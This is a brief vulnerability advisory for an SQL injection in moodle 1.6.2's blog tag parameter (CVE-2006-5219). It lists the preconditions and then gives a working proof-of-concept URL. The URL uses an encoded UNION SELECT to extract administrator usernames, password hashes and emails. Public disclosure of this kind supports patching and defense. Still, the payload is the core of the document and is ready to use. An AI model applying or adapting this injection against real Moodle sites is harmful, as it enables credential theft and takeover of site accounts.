Topic:	SQL injection - moodle 1.6.2
Credit:	disfigure (disfigure gmail com)
Date:	2006.10.12
CWE:	CWE-89 (Show similar)
CVE:	CVE-2006-5219 (Show details) Use CVE to see details like: - CVSS2, - Affected Software, - References

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http://www.w4cking.com

Product:
moodle 1.6.2
http://www.moodle.org

Vulnerability:
SQL injection

Notes:
- SQL injection can be used to obtain password hash
- the moodle blog "module" must be enabled
- guest access to the blog must be enabled

POC:
<target>/blog/index.php?tag=x%2527%20UNION%20SELECT%20%2527-1%20UNION%20
SELECT%201,1,1,1,1,1,1,username,password,1,1,1,1,1,1,1,username,password
,email%20FROM%20mdl_user%20RIGHT%20JOIN%20mdl_user_admins%20ON%20mdl_use
r.id%3dmdl_user_admins.userid%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1,1
,1,1,1,1,1,1,1%20FROM%20mdl_post%20p,%20mdl_blog_tag_instance%20bt,%20md
l_user%20u%20WHERE%201%3D0%2527,1,1,%25271

Original advisory (requires registration):
http://w4ck1ng.com/board/showthread.php?t=1305
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